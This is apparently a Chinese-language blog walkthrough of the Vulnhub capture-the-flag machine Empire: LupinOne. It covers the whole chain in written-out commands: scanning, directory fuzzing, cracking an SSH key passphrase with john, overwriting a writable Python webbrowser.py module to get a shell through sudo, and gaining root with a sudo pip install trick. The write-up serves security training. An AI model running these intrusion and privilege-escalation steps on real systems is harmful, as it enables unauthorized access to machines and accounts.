Empire-LupinOne

本靶机为Vulnhub上Empire系列之LupinOne,地址:EMPIRE: LUPINONE

Description

Difficulty: Medium
This box was created to be medium, but it can be hard if you get lost.
CTF like box. You have to enumerate as much as you can.
For hints discord Server ( https://discord.gg/7asvAhCEhe )

扫描与发现

利用arp-scan -l命令扫描靶机IP

arp-scan -l

image.png
利用nmap扫描开放端口

map -sS -sV -A -p- 192.168.75.164

image.png

目标探索

浏览器打开80端口,发现是一张图片,没有其他内容,检测源代码也没有发现有用信息
image.png
检查robots.txt文件发现/~myfiles目录,打开却发现Error 404
image.png
image.png
image.png
在旧版本的Apache服务器中,~ 指代用户主目录,我们可以尝试找到与此相似的路径,使用wfuzz工具对其路径进行测试,发现~secret目录

wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 403,404 http://192.168.75.164/~FUZZ

image.png
在浏览器中打开该路径~secret发现一段文字
image.png
image.png
上面称这是一个秘密目录,这里隐藏了他创建的ssh私钥文件,并且得知用户名为icex64
接下来继续在该路径下搜索文件,得到.mysecret.txt文件

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  --hc 404,403 -u http://192.168.75.164/~secret/.FUZZ.txt

image.png
浏览器打开发现是一串编码后的字符串
image.png
使用在线网站识别算法,发现其为Base58
在线识别网站:https://www.dcode.fr/cipher-identifier
image.png
使用工具进行解码得到私钥文件内容
image.png

漏洞利用

在本地创建文件key,将私钥保存到其中
image.png
再用john生成密码本

python2 /usr/share/john/ssh2john.py key > keyhash

image.png
按照提示我们用fasttrack进行爆破

john keyhash --wordlist=/usr/share/wordlists/fasttrack.txt

image.png
得到密码为P@55w0rd!
将key文件权限设为600(否则无法连接),然后利用ssh连接icex64用户

chmod 600 key
ssh icex64@192.168.75.164 -i key

image.png
得到第一个flag
image.png

提权

sudo -l

image.png
来到/home/arsene目录下,查看heist.py文件权限,没有修改权限,查看内容,发现其调用了webbrower.open()
image.png
我们通过find找到该文件的位置,查看其权限,发现可以写入内容

find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py

image.png
我们可以直接编辑该文件,写入调用shell脚本(或者反弹shell脚本)

cd /usr/lib/python3.9/
echo import os >webbrowser.py
echo 'os.system("/bin/bash")' >> webbrowser.py

image.png
获得arsene用户shell

sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

image.png
拿到arsene用户权限后,查看sudo -l,发现可以免密执行/usr/bin/pip

sudo -l

image.png
在GTFOBins搜索pip提权相关命令
Link:https://gtfobins.github.io/
image.png
输入以下命令进行提权
image.png

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

image.png
来到root目录下,打开root.txt拿到flag
image.png

posted @ 2024-05-05 01:08  NoCirc1e  阅读(15)  评论(0编辑  收藏  举报